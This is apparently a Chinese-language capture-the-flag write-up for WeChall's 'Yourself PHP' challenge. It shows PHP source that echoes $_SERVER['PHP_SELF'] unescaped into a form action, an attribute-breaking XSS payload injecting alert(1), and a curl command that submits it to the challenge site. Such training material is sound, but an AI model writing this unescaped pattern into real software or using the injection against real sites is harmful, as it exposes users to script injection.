WeChall - Yourself PHP

Your mission is to inject alert(1); into this script, and make it popup a javascript alert.

目标是在页面里注入 alert(1);。现在这题不再依赖浏览器真实弹窗,而是检查 payload 后静默修补输出并判定结果。

Challenge

题目给了源码入口:index.php?highlight=christmas。页面上有一个 username 表单,直觉上像是要在用户名字段里做 XSS,但源码对 username 做了 htmlspecialchars()

1
2
3
4
5
6
7
if (isset($_POST['username']))
{
echo GWF_Box::box(sprintf(
"Well done %s, you entered your username. But this is <b>not</b> what you need to do.",
htmlspecialchars(Common::getPostString('username'))
));
}

所以 username 只是诱饵。题名是 Yourself PHP,真正要看的点是 $_SERVER['PHP_SELF']

Solution

关键代码在表单输出这里:

1
2
3
4
5
6
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('<div>%s</div>', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;

$_SERVER['PHP_SELF'] 被直接塞进 HTML attribute:

1
<form action="..." method="post">

普通访问时,PHP_SELF 只是脚本路径:

1
/challenge/yourself_php/index.php

但 PHP / Web server 通常会把 index.php 后面的 path info 也放进 PHP_SELF。访问下面这种路径时:

1
/challenge/yourself_php/index.php/anything

模板里的 %s 会变成:

1
<form action="/challenge/yourself_php/index.php/anything" method="post">

于是攻击面不在 POST body,而在 URL path info。只要让 path info 先闭合 action 的双引号,再闭合 <form> 起始标签,就能插入脚本节点:

1
/"><script>alert(1);</script>

拼回模板后,旧版漏洞会生成类似这样的 HTML:

1
<form action="/challenge/yourself_php/index.php/"><script>alert(1);</script>" method="post">

浏览器解析时:

  1. " 结束 action 属性。
  2. > 结束 <form> 起始标签。
  3. <script>alert(1);</script> 成为真正的脚本节点。
  4. 后面的 " method="post"> 只是残留文本,不影响前面的 script 执行。

当前 WeChall 源码已经在检查后静默修补了这个输入,注释里写的是:

1
2
3
4
5
# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}

这里的 htmlsepcialchars 是源码注释里的原拼写。也就是说,现在的题目更像 simulated challenge:phpself_checkit() 检查静态 payload,命中后判定正确;不需要真的让当前页面弹窗。

实际访问时用 URL-encoded payload,避免 shell、URL 和 HTML 对 <>" 的处理差异:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/yourself_php/index.php/%22%3E%3Cscript%3Ealert(1);%3C/script%3E' \
| grep -o 'Your answer is correct'
Your answer is correct

如果带登录态访问同一个 URL,命中后会把挑战记到当前账号;最终以 /en/challsYourself PHPwc_chall_solved_1 为准。